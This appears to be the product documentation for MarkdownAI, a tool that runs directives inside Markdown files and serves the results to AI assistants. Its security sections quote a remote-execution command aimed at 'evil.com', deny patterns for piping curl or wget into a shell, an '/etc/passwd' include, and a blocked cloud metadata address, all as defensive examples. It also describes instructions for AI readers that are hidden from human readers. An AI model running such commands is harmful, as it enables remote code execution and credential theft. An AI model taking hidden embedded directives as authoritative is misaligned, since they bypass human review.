Overview
MarkdownAI solves a problem every team eventually hits: documentation lies. Not on purpose - it just gets old. The database schema changes, the API adds a field, the environment variable gets renamed, but the docs stay frozen at the moment someone last had time to update them.
MarkdownAI fixes this by making documents executable. Add @markdownai to the first line of any .md file and it becomes a live document. You can fetch the current state of your database, call an API, read a config file, run a shell command, count source files, or inject an environment variable - all inline, using a readable directive syntax that lives alongside your prose.
The document is rendered with mai render. Every directive runs, every data source is queried, and the final output is clean, standard Markdown. Strip the directives away with mai strip to get a static export. Or serve the document live to an AI assistant via the built-in MCP server.
parser
AST production only - reads directives, never executes. Pure and inert.
renderer
11 output format modules: list, table, bar, tree, timeline, flow, and more.
engine
Execution, env resolution, pipelines, caching, and all security enforcement.
mcp
MCP server with 9 tools for AI assistants. Lazy phase loading.
core
The mai binary and all CLI commands.
vscode
Language detection, syntax highlighting, snippets, completions, hover, diagnostics.
Security is enforced at every layer. Jailed directives - database queries, HTTP calls, shell commands - are blocked by default and must be explicitly allowed. File access is confined to the document root. Content masking prevents credentials from appearing in rendered output. And a set of immutable rules block the most dangerous operations regardless of configuration.
Getting Started
Installation
Install @markdownai/core globally. That gives you the mai binary.
# Install globally
npm install -g @markdownai/core
# Verify it works
mai --version
# Install the AI hook (auto-detects Claude Code / Cursor)
mai init
Quick Start
Create your first document
The @markdownai header on line 1 is all it takes to make a file live.
@markdownai v1.0
# Project Status
Generated: {{ date format="YYYY-MM-DD" }}
Version: {{ read ./package.json path="version" }}
## Source Files
@list ./src/ match="**/*.ts" type="files" as="list"
## Environment
API URL: {{ env.API_URL ?? "http://localhost:3000" }}
Render it
mai render status.md
All directives run. Output is clean, standard Markdown printed to stdout.
Validate before sharing
mai validate status.md
Checks for missing required env vars, unclosed blocks, and broken file references without producing output.
Strip to static markdown
mai strip status.md -o dist/status.md
Removes all directives, resolves conditionals, produces plain markdown safe for any reader.
After mai init, every .md file that starts with @markdownai is automatically routed through the MarkdownAI engine when an AI assistant reads it. The AI always sees rendered, live output - not raw directive syntax.
Universal CLI Flags
These flags work on every mai command:
| Flag | Effect |
|---|---|
--env <file> | Load a .env file to supply environment variables |
--cwd <path> | Run as if you were in a different directory |
--verbose | Print warnings and security events to the terminal |
--strict | Treat warnings as errors; halt on any security issue |
--silent | Suppress all output except fatal errors and security alerts |
The @markdownai Header
Every MarkdownAI document begins with @markdownai on the very first line. That single directive is the opt-in signal - without it, mai treats the file as plain Markdown and does nothing special.
Placement Rules
- Must be line 1, before any blank lines, headings, or other content.
- If the file has YAML frontmatter, place
@markdownaias the first line after the closing---. - The match is case-sensitive.
@MarkdownAIor trailing spaces will not trigger detection. - To remove MarkdownAI from a file, delete only that line - everything else stays untouched.
Options
# Basic - no version pin
@markdownai
# Version pin - warns if installed version is older
@markdownai v1.0
# Opt out of shell-inline interception (see Shell Inline section)
@markdownai shell-inline="passthrough"
YAML Frontmatter Compatibility
Works with Claude Code skills, Jekyll, Hugo, and any other tool that uses frontmatter:
---
title: My Document
description: Project status report
---
@markdownai v1.0
# My Document
Built on {{ date format="YYYY-MM-DD" }}.
Version pins are optional but recommended. Pinning to v1.0 means your document declares exactly which MarkdownAI features it expects. If your installed version is older, mai warns you but continues running.
Inline Interpolation {{ }}
Inline interpolation lets you embed live values directly inside your prose using double curly braces. Instead of writing static text that goes stale, you pull in real data - environment variables, dates, file counts, computed values - right where the words are.
{{ expression }} works inside paragraphs, headings, list items, and table cells. It does not activate inside fenced code blocks or inline code spans, so your code examples stay untouched.
Operators
| Operator | Purpose | Example |
|---|---|---|
?? | Fallback if value is missing | {{ env.PORT ?? "3000" }} |
?. | Optional chaining | {{ config?.server?.port }} |
? : | Ternary conditional | {{ env.CI ? "CI mode" : "local" }} |
\{{ | Escape - renders literal {{ | \{{ not evaluated }} |
Examples
@markdownai v1.0
# Report - {{ date format="YYYY-MM-DD" }}
Version: {{ read ./package.json path="version" }}
API endpoint: {{ env.API_URL ?? "http://localhost:3000" }}
Running in {{ file.exists "./config/prod.json" ? "production" : "development" }} mode.
Source files: {{ count ./src/ match="**/*.ts" }}
Expressions that cannot be resolved quietly become empty strings and log a warning. Run mai validate first to catch them before rendering.
@env Environment Variables
@env lets your documents read environment variables directly - so sensitive values like API keys, database URLs, or deployment settings never have to be hardcoded. You can declare fallback values for when a variable isn't set, keeping your documents functional across environments.
Syntax
@markdownai v1.0
# Variable as a standalone paragraph (renders the value)
@env API_BASE_URL
# Variable with a fallback - renders "https://api.example.com" when unset
@env API_BASE_URL fallback="https://api.example.com"
# Required - mai validate fails if unset
@env DATABASE_URL required
# Required and masked - never appears in rendered output
@env SECRET_KEY required masked
# Inline usage anywhere in prose
The API is at {{ env.API_BASE_URL ?? "http://localhost:3000" }}.
Resolution Order
When resolving a variable, mai checks these sources in order and uses the first match:
Shell environment
Always wins. Variables set in your terminal or CI environment take priority over everything.
--env file
Any .env file passed via mai render --env .env.production.
@import fallbacks
Fallbacks registered in files you've imported with @import.
Inline fallback
The fallback= value on the directive itself.
Empty string
No error thrown - document renders with an empty value. required overrides this and fails validation instead.
@define and @call Macros
Macros let you define reusable content blocks once and insert them anywhere. This eliminates copy-pasting repeated content and keeps documents consistent when shared values change.
Basic Macro
@define disclaimer
This report is generated automatically and may contain estimates.
@end
# Section One
@call disclaimer
# Section Two
@call disclaimer
Macro with Parameters
Use {{ param || "default" }} inside the body to accept values at call time with an optional fallback:
@define greeting(name, role)
Hello, {{ name || "reader" }}. Your role is {{ role || "viewer" }}.
@end
@call greeting(name=Alice, role=Admin)
@call greeting(name=Bob)
Local Scope
Add @local after the macro name to keep it scoped to the current file - it won't bubble up to parent documents that include this file:
@define internal-note @local
For internal review only - do not distribute.
@end
@call internal-note
Macros Can Contain Any Directive
Macros can include data fetches, conditionals, other @call directives - anything that is valid in a document body.
Macros are not rendered at definition time. The @define block produces no output. Output only appears when you use @call.
@include Content Inclusion
The @include directive pulls another Markdown file's content directly into your document at that point - as if you had written it there yourself. Any macros, connections, or environment fallbacks defined in the included file automatically become available to the rest of your parent document.
@markdownai v1.0
# Full Report
@include ./sections/header.md
@include ./data/metrics.md @cache session
@if env.TIER == "enterprise"
@include ./sections/enterprise-features.md
@endif
@include ./sections/footer.md
Rules
- Paths are relative to the file containing the directive.
- Absolute paths and paths navigating above the document root are always blocked.
- To include specific line ranges from a source file:
@include ./src/auth.ts lines=10-45 - Circular reference detection is automatic - an error halts rendering and shows the full chain.
- Including a file multiple times is valid and intentional repetition is supported.
- Mark definitions as
@localinside included files to prevent them bubbling up to the parent.
@import Definition Import
@import brings in macros, database connections, and environment variable defaults from another file - without rendering any of that file's content. This is how you maintain a central "definitions library" shared across many documents.
@markdownai v1.0
@import ./shared/connections.md
@import ./shared/macros.md @cache session
# My Document
@call header-block
@db using="reports"
find="orders" where="status==pending"
@end
What @import Brings In
@definemacros - available via@callthroughout the importing document@connectconnections - available by name in@dbblocks@envfallbacks - register defaults without outputting values
Diamond Dependencies
If two files both import the same third file, the second import is a silent no-op. Definitions are registered once. This handles diamond dependency graphs safely without duplication or errors.
@import vs @include: Use @import when you want definitions without content. Use @include when you want the file's rendered content to appear in your document.
@if Conditionals
Show or hide sections based on conditions - environment, file existence, or data values. The same expression system works inside @if conditions, where filters on data queries, and {{ }} interpolations. Learn the operators once and they work throughout.
@markdownai v1.0
@if env.APP_ENV == "production"
This section only appears in production builds.
@else
You are viewing a non-production build.
@endif
@if file.exists "./config/custom.json"
Custom configuration detected.
@elseif file.isDir "./config"
Config directory found but no custom.json.
@else
No configuration found.
@endif
@if env.ROLE == "admin" && env.REGION == "us-east"
Admin dashboard - US East region.
@endif
Expression Operators
| Operator | Meaning |
|---|---|
== / != | Equal / not equal |
< / > / <= / >= | Numeric comparisons |
&& / || / ! | Logical AND, OR, NOT |
.startsWith() / .endsWith() / .includes() | String methods |
file.exists / file.isFile / file.isDir | Filesystem checks |
match "pattern" | Regex match (see match operator section) |
Always supply --env when stripping or rendering documents with conditionals. Run mai validate first to catch unset variables before they silently evaluate to false.
Pipe Operator and @render
The pipe operator | connects a data source through one or more transform steps to a final @render sink - all on a single line. This brings Unix-style composability to your documents.
@markdownai v1.0
# TypeScript Files
@list ./src/ | grep \.ts$ | sort | @render type="numbered"
# Active Users
@db using="primary" find="users" where="active==true" | @render type="table"
# File Count
There are @list ./src/ | wc -l TypeScript files in this project.
# Shorthand with "as"
@list ./data/users.json path="users" as="table"
Built-in Transforms (Cross-Platform)
These run as pure Node.js code - no shell required, works on Windows, macOS, and Linux:
| Transform | Effect |
|---|---|
sort | Sort lines alphabetically |
sort -n | Sort numerically |
sort -r | Sort in reverse |
grep pattern | Keep lines matching pattern |
grep -v pattern | Keep lines NOT matching |
grep -i pattern | Case-insensitive match |
head -N | Keep first N lines |
tail -N | Keep last N lines |
uniq | Remove consecutive duplicates |
wc -l | Count lines |
Shell Transforms (Unix/WSL only)
awk, sed, jq, cut - spawn child processes. On Windows without WSL they are automatically skipped with a warning.
@render Format Types
| Type | Output |
|---|---|
list | Unordered bullet list |
numbered | Ordered numbered list |
links | List of clickable markdown links |
table | Grid table with headers. Use columns="name,version" to pick fields |
code | Fenced code block |
inline | Plain text - for embedding a scalar value in a sentence |
bar | Horizontal ASCII bar chart. Use label="field" value="field" |
flow | ASCII flow diagram with arrows |
tree | ASCII indented tree for nested data |
timeline | Left-to-right ASCII timeline |
json | Pretty-printed JSON in a fenced code block |
@list Source Directive
@list is the primary way to enumerate things in a MarkdownAI document - files on disk, items from a JSON array, rows from a CSV. Results appear directly in your document as a table, list, or any other format you choose.
Options
| Option | Controls | Default |
|---|---|---|
match | Glob pattern for filesystem listing | * |
type | What to list: files, dirs, or both | files |
depth | How many folder levels deep | Unlimited |
path | Dot-notation key into a JSON file | Root |
mode | How to read a JSON object: keys, values, entries | None |
columns | Fields to show and their labels: key:Label,key2:Label2 | All fields |
where | Filter rows by a field value | None |
as | Output format shorthand: table, list | None |
@cache | Cache result: session, persist, ttl=N | None |
Examples
@markdownai v1.0
# TypeScript Source Files
@list ./src/ match="**/*.ts" type="files"
# Active Users from JSON
@list ./data/users.json path="users" where="status:active" as="table"
# npm Dependencies
@list ./package.json path="dependencies" mode="entries" columns="key:Package,value:Version"
# CSV Product Catalog
@list ./data/products.csv columns="sku:SKU,name:Product,price:Price" where="inStock:true"
@read Source Directive
@read pulls a specific value or slice of data from a structured file into your document. Supports JSON, YAML, TOML, CSV, and .env files.
@markdownai v1.0
# Configuration
Database host: @read config.json path="database.host"
Server port: @read config.yaml path="$.server.port"
# Active Users
@read users.csv where="status='active'" columns="name:Name,email:Email"
# Version
Package version: {{ read ./package.json path="version" }}
Options
| Option | Applies To | Description |
|---|---|---|
path="dot.notation" | JSON, YAML, TOML | Navigate to a nested value. Supports [n] array indices. |
key="KEY_NAME" | .env | Look up a single flat key |
column="name" | CSV | Extract one column; one value per line |
where= | CSV | Filter rows using an expression |
columns="key:Label,..." | CSV | Select and rename multiple columns |
collapse true | Any | Stringify nested objects inline |
as="type" | Any | Control output rendering format |
@cache | Any | Cache the file read result |
.env files are blocked by security rules. You cannot read a .env file with @read using path= - use key= instead, and only for non-sensitive keys.
@tree, @date, @count
Three utility directives that display live directory structures, inject current or file-modified dates, and count files. All three also work inside {{ }} expressions.
@tree - Directory Listing
@tree ./packages/ depth=2
@tree ./src/ depth=3 type=dirs
@tree ./src/ match="*.ts" depth=2
@date - Dates and Timestamps
Generated: @date format="YYYY-MM-DD"
Full timestamp: @date format="YYYY-MM-DD HH:mm:ss"
File modified: @date file="./CHANGELOG.md" type="modified"
Inline: Last updated {{ date format="MMMM D, YYYY" }}.
Date Format Tokens
| Token | Output |
|---|---|
YYYY | 4-digit year: 2026 |
MM | 2-digit month: 05 |
DD | 2-digit day: 19 |
HH | 24-hour hour: 14 |
hh | 12-hour hour: 02 |
mm | Minutes: 30 |
ss | Seconds: 45 |
A / a | AM/PM / am/pm |
ISO | Full ISO 8601 string |
X | Unix timestamp (seconds) |
x | Unix timestamp (milliseconds) |
@count - File Counter
# Source Statistics
TypeScript files: @count ./src/ match="**/*.ts" type=files
Test files: @count ./src/ match="**/*.test.ts" type=files
Directories: @count ./src/ type=dirs
Inline: This package has {{ count ./src/ match="**/*.ts" }} source files.
@connect and @db
@connect registers named database connections. @db queries them. Both are jailed - database access is disabled by default and must be enabled in your security config before either directive does anything.
@connect - Connection Registry
@markdownai v1.0
@connect reports type="mongodb" uri=env.MONGODB_URI
@connect analytics type="postgres" uri=env.ANALYTICS_PG_URI
@connect local type="sqlite" uri=env.SQLITE_PATH @local
Supported types: mongodb, postgres, mysql, mssql, sqlite, redis, elasticsearch
@db - Query Operations
Pick exactly one operation per @db directive:
| Operation | What It Does |
|---|---|
find="collection" | Returns multiple rows matching your filter |
one="collection" | Returns the first matching row |
count="collection" | Returns a row count |
aggregate="collection" | Groups and summarizes rows |
raw="SQL string" | Native query passthrough (requires explicit opt-in) |
# Active Users
@db using="reports" find="users" where="active==true" | @render type="table"
# Orders by Status (bar chart)
@db using="reports" aggregate="orders" group="status" count=true | @render type="bar"
# Single Record
@db using="reports" one="users" where="email==env.ADMIN_EMAIL"
# Count Pending
Pending orders: @db using="reports" count="orders" where="status==pending"
Common @db Options
| Option | Description |
|---|---|
using="name" | Named connection from @connect |
uri=env.VAR | Inline connection URI - no @connect needed |
where="expression" | Filter condition |
sort="field:asc" | Sort order |
limit=N | Max rows to return |
columns="field:Label,..." | Select and rename output fields |
as="table" | Shorthand for | @render type="table" |
@cache | Always the last token: session, persist, mock=./file.json |
Connections use environment variables, never hardcoded credentials. When mai renders to static output, all @connect directives are stripped.
@http HTTP Requests
@http lets you embed live data from any web API directly in your document. By default it produces no output - the target domain must be on your allowlist before any request is made.
@markdownai v1.0
# API Version
@http url="https://api.example.com/status" path="version"
# Authenticated Request
@http url=env.API_URL headers="Authorization=env.API_TOKEN" path="data.summary"
# JSON Array Filtered and Rendered
@http url="https://api.example.com/deployments" columns="env:Environment,status:Status" where="status == 'failed'" as="table"
# With Caching
@http url="https://api.example.com/metrics" @cache persist ttl=3600
Options
| Option | Default | Description |
|---|---|---|
url= | Required | The endpoint. Use url=env.VAR to keep URLs out of the document. |
method= | GET | HTTP verb. POST/PUT/DELETE require explicit permission in security config. |
path= | - | Dot-path selector into the JSON response |
body= | - | Request body. Only valid for non-GET methods. |
headers= | - | Comma-separated headers. Literal credentials are masked automatically. |
expected= | - | Assert a specific HTTP status code |
@cache | - | session, persist, ttl=N, or mock=./file.json |
@query Shell Commands
@query runs a shell command and injects its output into the document. Every command must be on your allowlist - commands not on the list are silently stripped. Shell execution is disabled by default.
@markdownai v1.0
# Repository Status
Current branch: @query "git branch --show-current"
Recent commits:
@query "git log --oneline -5"
# Dependency Audit
@query "npm audit --json" @cache session
# Named Output for Reuse
@query git branch --show-current label=branch
@if {{ branch }} match "^feat"
On a feature branch: {{ branch }}
@endif
Key Points
- Disabled by default. Enable with
mai security shell enable. - Every command must match an allowlist pattern before it runs.
- Use
label=nameto store the result for reuse in conditions and other directives. - On error, produces empty string and logs a warning. Pass
--strictto make errors fatal. - Cross-platform when using git, node, npm - not when using bash-specific syntax.
@phase, @on complete, @graph
@phase divides a document into named workflow stages. Only the active phase loads into AI context at a time, keeping large multi-step documents focused. @graph draws a Mermaid diagram of your workflow for human readers.
@markdownai v1.0
@phase intake
Gather open support tickets.
@http url=env.TICKET_API path="tickets.open" as="table"
@on complete -> triage
@end
@phase triage
Review tickets and assign priority.
@call load-assignment-rules
@on complete -> archive
@on complete -> @call notify_team
@end
@phase archive
Move resolved tickets to long-term storage.
@db using="primary" find="tickets" where="status==resolved" | @render type="table"
@end
Workflow Diagram (documentation only)
```mai-graph
graph LR
intake --> triage --> archive
```
Rules
@phaseblocks are only valid in the root document. Using them in an@import-ed file is a parse error.@on completeis only valid inside a@phase ... @endblock.- Multiple
@on completelines execute sequentially, top to bottom. - Run a specific phase with:
mai render doc.md --phase phasename - The MCP server automatically loads only the active phase, not the whole document.
Standard Library
The standard library ships 32 built-in macros for common tasks. They auto-load when the engine starts - no setup required. Call any of them in any document marked @markdownai.
@markdownai v1.0
@call git-branch
@call project-manager
@call code-any-types
Working on: {{ current_branch }}
Package manager: {{ pkg_manager }}
TypeScript `any` count: {{ any_count }}
@call git-modified
@if {{ modified_files }} != ""
> Warning: you have uncommitted changes.
@endif
Macro Groups
Git (9 macros)
branch, status, log, diff stats, staged files, modified files, untracked files, commits ahead, last commit message
Filesystem (7 macros)
directory listing, file search by pattern, large files, recently changed files, tree view, file count by extension, directory size
Project Detection (5 macros)
package manager, primary language, project name, version, test command
Code Analysis (5 macros)
TODO comments, console.log calls, TypeScript any types, test file locations, arbitrary grep
Environment (6 macros)
Node version, OS, port availability, command existence, CI detection, git author
Parameterized Macros
@call fs-find(*.ts) # find TypeScript files
@call env-port(3000) # check if port 3000 is available
@call fs-count(ts) # count files by extension
@call code-grep(TODO) # grep for pattern
If you define a macro with the same name as a stdlib macro, your definition wins.
Security Overview
MarkdownAI uses a "jail-first" security model: all dynamic operations - database queries, HTTP requests, shell commands - are blocked by default unless you explicitly allow them. This protects you from running untrusted or malicious documents on your system.
Security Config File
Your personal security rules live at ~/.markdownai/security.json. Create one with:
mai security init
mai security show # display active policy
Runtime Modes
| Flag | Mode | Behavior |
|---|---|---|
| (none) | Silent | Blocked directives stripped quietly; events logged to file only |
--verbose | Verbose | Security events also printed to the terminal |
--strict | Strict | Any stripped directive is an error; halts immediately |
Log Files
| File | Purpose |
|---|---|
~/.markdownai/security.json | Your personal rules - allowlists, deny patterns, preferences |
~/.markdownai/audit.log | Permanent log of every security event. Cannot be disabled by any document or config. |
~/.markdownai/runtime.log | All warnings from every run, stored as structured JSON |
Filesystem Confinement
Two independent security layers protect you when documents include or import other files. Both are always active - no setup required, no way to turn them off.
Confinement
All file access is restricted to the document's own directory. Paths navigating above that boundary, absolute paths, and ../ sequences are always blocked.
Content Masking
File content is scanned for credentials, tokens, and connection strings before reaching rendered output. Matches are replaced with [MASKED]. Masking runs before caching - secrets never reach the cache in plain text.
# Include within document root - allowed
@include ./data/report.csv
# Include from a parent directory - requires explicit flag on every invocation
mai render report.md --allow-traversal ../shared-data/
# Absolute path - always rejected, SECURITY_ALERT
@include /etc/passwd
Configuration Options
| Option | What It Controls |
|---|---|
--allow-traversal <path> | Permits access to one specific directory outside document root. Must be provided on every invocation. |
allow_unmasked_paths | Glob patterns for files that skip content masking (in security config) |
allow_unmasked_patterns | Variable name patterns whose values are restored after masking (e.g. NODE_ENV=*) |
Shell Execution Jail
Controls exactly which shell commands your documents can run via @query. Allowlist-first: every command is blocked by default unless you explicitly permit it.
# Enable shell execution (disabled by default)
mai security shell enable
# Add allowed command patterns
mai security shell add "git log *"
mai security shell add "npm audit *"
mai security shell add "find * -name *.ts"
# Test whether a command would be allowed
mai security shell test "git log --oneline -5"
# ALLOWED: matches allow_pattern "git log *"
mai security shell test "rm -rf /tmp/cache"
# BLOCKED: matches deny_pattern "rm *"
# List current rules
mai security shell list
Configuration
| Option | Default | Description |
|---|---|---|
shell.enabled | false | Master switch - all @query directives are stripped when false |
shell.allow_patterns | [] | Glob patterns for commands permitted to run |
shell.deny_patterns | [] | Glob patterns always blocked (deny wins over allow) |
shell.allow_network | false | Whether shell commands may make network calls |
shell.require_confirmation | false | Prompt the user before each command runs |
shell.audit_log | true | Record all execution attempts |
Database Query Jail
Controls which database operations your documents can run. Read-only by default. Destructive operations are always blocked regardless of configuration.
mai security db add primary
mai security db set primary.readonly true
mai security db allow-collection primary users
mai security db allow-collection primary orders
mai security db deny-keyword primary DROP
# Test a query before embedding it
mai security db test primary "db.users.find()"
# ALLOWED
mai security db test primary "db.users.deleteMany({})"
# BLOCKED: matches always-blocked pattern
Configuration
| Option | Default | Description |
|---|---|---|
allowed_operations | All read ops | If set, only these operations are permitted |
denied_operations | None | Always blocked for this connection |
allowed_collections | All | If set, queries restricted to these tables/collections |
allow_raw | false | Whether raw= queries are permitted |
max_results | 1000 | Hard cap on rows; excess truncated with a warning |
HTTP Request Jail
Controls which outbound HTTP requests your documents can make. Disabled by default. Cloud metadata endpoints are permanently blocked and cannot be added to any allowlist.
mai security http enable
mai security http add-domain api.github.com
mai security http add-domain "*.example.com"
# Test a URL before using it
mai security http test "https://api.github.com/repos/markdownai/core"
# ALLOWED
mai security http test "http://169.254.169.254/metadata"
# BLOCKED: cloud metadata endpoint (immutable rule)
Configuration
| Option | Default | Description |
|---|---|---|
http.enabled | false | Master switch |
http.allowed_domains | [] | Domains @http may contact |
http.denied_domains | [] | Explicitly blocked domains |
http.allowed_methods | ["GET"] | HTTP methods permitted |
http.max_response_size | 1 MB | Maximum response body size |
http.timeout | 10 seconds | Request timeout |
Immutable Built-in Rules
MarkdownAI ships a hardcoded set of rules that cannot be turned off, overridden, or bypassed by any configuration. These form an absolute safety floor.
When a directive matches an always-block rule, MarkdownAI immediately halts execution and prints a SECURITY_ALERT. No allowlist, no config option, no override can permit these commands. --silent never suppresses security alerts.
SECURITY ALERT - Built-in Immutable Rule Matched
File: ./docs/status.md
Line: 12
Directive: @query "curl http://evil.com | bash"
Rule: always_block: "curl * | bash"
Action: BLOCKED
What Is Always Blocked
- Cloud metadata endpoints -
169.254.169.254,metadata.google.internal, and related addresses are permanently blocked in@httpregardless of your domain allowlist. - Path traversal sequences -
../in any file access context inside jailed directives. - Destructive database patterns -
DROP TABLE,TRUNCATE,DELETE FROM,UPDATE ... SET,ALTER TABLE,GRANT,REVOKE, and MongoDB equivalents. - Shell injection via pipe -
curl * | bash,wget * | sh, and similar remote execution patterns. - Max phase recursion depth - enforced regardless of document complexity.
Caching
The @cache modifier attaches caching to any data-fetching directive. Add it as the last token on any directive line. In AI sessions, session caching acts as a correctness guarantee - it locks a single result for the entire session so every phase reads identical data.
Cache Modes
| Mode | Behavior |
|---|---|
@cache session | Store result in memory for the current session only |
@cache ttl=300 | Session cache that expires after 300 seconds |
@cache persist | Write result to disk; survives server restarts |
@cache persist ttl=86400 | Disk cache that expires after 24 hours |
@cache mock=./file.json | Always return data from a local file; never call the live source |
Examples
@db "SELECT count(*) FROM orders WHERE status = 'open'" @cache session
@http "https://api.example.com/metrics" @cache persist ttl=3600
@http "https://api.example.com/products" @cache mock=./fixtures/products.json
Cache Commands
mai cache show # list all cached entries
mai cache show report.md # list entries for a specific document
mai cache clear # clear everything
mai cache clear --session # clear in-memory only
mai cache clear --persist # clear disk cache only
mai cache seed report.md # pre-populate by running all fetches
# Seed from production, work offline
mai cache seed report.md --env .env.production
mai watch report.md
Mock mode is particularly useful for testing. Seed a fixture from production once: mai cache seed report.md --env .env.production --directive db. Then develop against predictable data without a live database connection.
mai strip
mai strip removes all MarkdownAI directives from a document and produces clean, standard Markdown safe to commit, share, or open in any regular viewer. Conditional sections are resolved against your environment - the right branch is kept, the rest discarded.
# Strip and preview
mai strip README.md
# Strip to a file
mai strip README.md -o dist/README.md
# Strip with environment for correct conditional resolution
mai strip docs/guide.md --env .env.production -o dist/guide.md
# Strip an entire directory
mai strip ./docs/ --env .env.production -o ./dist/
The strip command never executes any directives - it only removes or resolves syntax. @note blocks are always removed regardless of the visible flag. @prompt and @constraint blocks are also stripped.
MCP Server
mai serve starts a Model Context Protocol server. When an AI assistant connects, it serves documents intelligently - executing directives, resolving phases lazily, and exposing the document's structure as callable tools.
mai serve
mai serve --cwd ~/projects/my-docs
mai serve --port 3000
9 MCP Tools
| Tool | Description |
|---|---|
read_file | Read and execute a MarkdownAI document. Returns rendered live output. Accepts an optional token budget. |
list_phases | List all @phase blocks in a document with their transitions |
resolve_phase | Render the content of a specific named phase |
next_phase | Return the phase that follows the current one |
call_macro | Execute a named @define macro, optionally passing parameters |
get_env | Retrieve a resolved environment variable by name |
get_constraints | Return all @constraint blocks sorted by severity |
execute_directive | Run a single MarkdownAI directive and return its output |
invalidate_cache | Clear cached rendered output for a file or all files |
Lazy Phase Loading
The MCP server loads only the active phase into AI context at any given time. A 20-phase document never floods the AI with everything at once. The AI works through each phase in sequence, calling next_phase when ready to advance.
// Walk a workflow from start to finish
list_phases({ file: "pipeline.md" })
resolve_phase({ file: "pipeline.md", phase: "implementation" })
next_phase({ file: "pipeline.md", phase: "implementation" })
// "review"
resolve_phase({ file: "pipeline.md", phase: "review" })
PreToolUse Hook
mai init installs a PreToolUse hook into Claude Code or Cursor. After installation, every .md file an AI reads is automatically checked. If it starts with @markdownai, the hook intercepts the read and routes it through the MarkdownAI engine before the AI sees it.
The AI receives fully resolved, live output - not raw directive syntax. The entire process is transparent. The AI never knows the hook is there, but it always sees the current branch name, actual test results, and live service status instead of stale prose.
# Auto-detect your AI client and install
mai init
# Explicit targets
mai init --client claude-code
mai init --client cursor
What Happens During a File Read
- AI requests to read a
.mdfile. - Hook intercepts before the file is returned.
- If file starts with
@markdownai: routes throughmai render. - AI receives rendered output - all directives resolved, all data live.
- If file is plain markdown: passes through untouched.
AI-Native Features
MarkdownAI has a set of features designed specifically for AI consumers. They let you embed instructions, rules, and glossary terms directly inside documents - so a single file speaks differently to machines and people without you maintaining two versions.
@consumer - Audience-Targeted Rendering
@if consumer="ai"
**Status:** operational | uptime: 99.97% | last_incident: none
@endif
@if consumer="human"
## Service Status
Everything is running smoothly. No incidents in the past 30 days.
@endif
mai render status.md --consumer=ai
mai render status.md --consumer=human
@prompt - Embedded AI Instructions
Carries instructions for AI readers. Invisible to humans (or shown as a callout with the visible flag):
@prompt role="context"
All API endpoints in this document require an Authorization header
unless explicitly marked as public.
@end
@prompt role="constraint"
Treat all code samples as pseudocode unless the block is marked "production."
@end
Valid roles: context, constraint, calibration, instruction
@constraint - Machine-Readable Rules
Rules written as @constraint blocks are surfaced in a structured table when an AI reads the document. They cannot be missed the way prose rules can:
@constraint id="no-raw-sql" severity="critical"
NEVER pass user input directly to a database query. Always use parameterized queries.
@end
@constraint id="eval-forbidden" severity="critical"
eval() is never used. Use vm.runInNewContext() for expression evaluation.
@end
AI tools reading the document via MCP see:
## Constraints
| ID | Severity | Rule |
|--------------|----------|----------------------------------------------|
| no-raw-sql | CRITICAL | NEVER pass user input directly to a database... |
| eval-forbidden | CRITICAL | eval() is never used... |
@note - Source Comments
Invisible in rendered output by default. Visible in the raw source file:
@note
This @db directive pulls from the staging replica.
Switch the alias to "prod" before the next release.
@end
@note visible
This section updates nightly. Refresh before sharing.
@end
@define-concept - Inline Glossary
Registers domain-specific terms. AI readers receive a full glossary at the top of the document:
@define-concept jailRoot "the document root directory used to confine file access"
@define-concept directive "a line starting with @ that MarkdownAI processes at render time"
Token-Efficient Format Mode
--format=ai strips decorative elements and compresses output for AI readers. The MCP server uses this by default. On typical documents this achieves a 15-40% reduction in token count.
mai render docs/api-reference.md --format=ai
mai render docs/changelog.md --format=ai --tables=kv
Skill Context Variables
When a MarkdownAI document is used as a Claude Code skill file, the full slash command invocation context is available as first-class variables in @if conditions and {{ }} interpolations. This enables real engine-evaluated dispatch - the document routes itself based on arguments.
Available Variables
| Variable | Description |
|---|---|
ARGUMENTS / args | Full raw argument string from $ARGUMENTS |
argsList | Positional args, shell-style parsed (quoted strings kept together) |
arg0 - arg3 | Shorthand for argsList[0] through argsList[3] |
CLAUDE_EFFORT | Effort level: low, medium, high, xhigh, or max |
CLAUDE_SESSION_ID | Unique ID for the current Claude Code session |
CLAUDE_SKILL_DIR | Directory containing the skill file |
| Named arg keys | Spread into root scope from skill frontmatter arguments: list |
Argument-Based Dispatch
@markdownai v1.0
@if ARGUMENTS.startsWith("audit")
@include ./audit-mode.md
@elseif ARGUMENTS.startsWith("build")
@include ./build-mode.md
@elseif ARGUMENTS.startsWith("status")
@include ./status-mode.md
@endif
Effort-Based Conditionals
@if CLAUDE_EFFORT == "max"
@include ./extended-analysis.md
@elseif CLAUDE_EFFORT == "high"
@include ./standard-analysis.md
@else
@include ./quick-analysis.md
@endif
Named Arguments from Frontmatter
---
arguments:
- issue
- branch
---
@markdownai v1.0
@if issue !== ""
Working on issue: {{ issue }}
@endif
@if branch !== ""
Target branch: {{ branch }}
@endif
Shell Inline Interception
Claude Code skill files support a native shell injection syntax: !`command`. It runs commands before Claude sees the file with no security gates. When a document has a @markdownai header, MarkdownAI takes ownership of all shell execution - including !`command` patterns.
Authors can write either syntax and get the same security behavior. This means a @markdownai document cannot be used as a vector for ungated shell execution even if the author uses Claude Code's own syntax.
@markdownai v1.0
Current branch: !`git branch --show-current`
Files changed: !`git diff --stat | wc -l`
With allowShell: true and matching allow patterns, the commands execute. With allowShell: false (default), they produce empty output.
Opting Out
To let Claude Code handle !`command` natively without security gating:
@markdownai shell-inline="passthrough"
The opt-out is named passthrough rather than disable - the author is explicitly handing control back to Claude Code, which has no security layer.
Security Comparison
| Control | @query | !`cmd` via MarkdownAI | !`cmd` via Claude Code |
|---|---|---|---|
| Disabled by default | Yes | Yes (same allowShell) | No |
| Command allowlist | Yes | Yes | No |
| Deny patterns | Yes | Yes | No |
| Filesystem jail | Yes | Yes | No |
| Immutable block rules | Yes | Yes | No |
| Audit log | Yes | Yes | No |
Named output (label=) | Yes | No | No |
| Works outside Claude Code | Yes | Yes | No |
MDD Integration
MDD and MarkdownAI were built for each other. MDD enforces "document first" development - every feature is written down before any code is written. MarkdownAI makes those documents execute. The integration closes the loop: MDD's own artifacts stop being static files that drift, and start being live documents that reflect the actual state of the project every time they render.
Live Session Context
.mdd/.startup.md with a @markdownai header can query its own data on render - current branch, feature counts by status, last audit summary, recent commits. Claude always enters the session with accurate project state, not whatever .startup.md said last week.
@markdownai v1.0
@call git-branch
@call git-status
Current branch: {{ current_branch }}
@query "find .mdd/docs -name '*.md' | wc -l" label=feature_count
Total features: {{ feature_count }}
Token Economics
